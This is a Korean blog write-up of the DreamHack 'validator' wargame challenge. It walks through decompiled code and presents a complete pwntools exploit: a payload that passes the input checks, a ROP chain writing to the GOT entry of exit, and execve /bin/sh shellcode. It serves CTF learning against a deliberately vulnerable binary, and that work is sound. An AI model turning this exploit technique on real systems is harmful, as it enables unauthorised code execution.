Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage15_문제풀이(validator) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage15_문제풀이(validator)

CIDY 2022. 7. 10. 05:55

시스템 해킹 로드맵의 마지막 문제이다. C코드가 주어지지 않아서 아이다로 까 봐야 했다.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 16uLL);
  read(0, s, 0x400uLL);
  validate(s, 128LL);
  return 0;
}

 

일단 버퍼에 read하고 validate하는 간단한 코드인데.. 말 그대로 검증하는거다.

 

validate함수에 전달되는 인자는 배열과 128이라는 숫자이다.

 

그럼 저 검증조건을 까 보자.

 

__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(i + a1) != correct[i] )
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(j + a1) != *(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

 

아이다로 깐 코드가 읽기 싫게 생겼긴 하지만.. 잘 읽어보면 내용은 별 거 없다.

 

첫 번째 조건은 인덱스 0부터 9까지가 correct배열의 인덱스 0부터 9까지와 같아야 한다.

 

그럼 correct가 뭐냐? 

 

 

음 약간 리버싱하는 느낌이다.

 

암튼 DREAMHACK!하면 딱 10글자라 9까지 채워진다.

 

그리고 두 번째 조건은 인덱스 11부터 127까지의 값이 1씩 감소해야 한다는 것이다.

 

인덱스 10에대한 조건은 딱히 없다.

 

pay = b"DREAMHACK!"
pay += b" "

for i in range(11, 0x88, 1):
    pay += bytes([0x88 - i])

 

이렇게 해 주면 조건은 통과된다. 0x80이 아니고 0x88로 해 준 이유는.. 0x81부터 조건을 통과하는데 8바이트로 맞춰주지 않으면 한두 바이트씩 밀려 골치아픈 일이 발생할 수 있기 때문에 그냥 sfp까지 쭉 밀어버렸다.

 

아 그리고 얘 보호기법이 partial relro말고는 없어서 쉘코드를 쓸 수 있다.

 

스택에 실행권한이 있는데, 딱히 아는 주소가 없고, gdb로 까 보니 bss에는 실행권한이 없어서 어떻게 할지 고민하다가 -> 당연히 실행권한 있는 got영역에 쉘코드를 쓰기로 했다. 

 

from pwn import *

p = remote("host3.dreamhack.games", 12759)
#p = process("./validator_dist")
e = ELF("./validator_dist")

pop_rdi = 0x004006f3
pop_rsi_r15 = 0x004006f1
pop_rdx = 0x0040057b
leave_ret = 0x00400638

pay = b"DREAMHACK!"
pay += b" "

for i in range(11, 0x88, 1):
    pay += bytes([0x88 - i])

pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(e.got['exit'])
pay += p64(0)
pay += p64(pop_rdx)
pay += p64(0x150)
pay += p64(e.plt['read'])
pay += p64(e.got['exit'])

pause()
p.send(pay)


p.send(b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05")

p.interactive()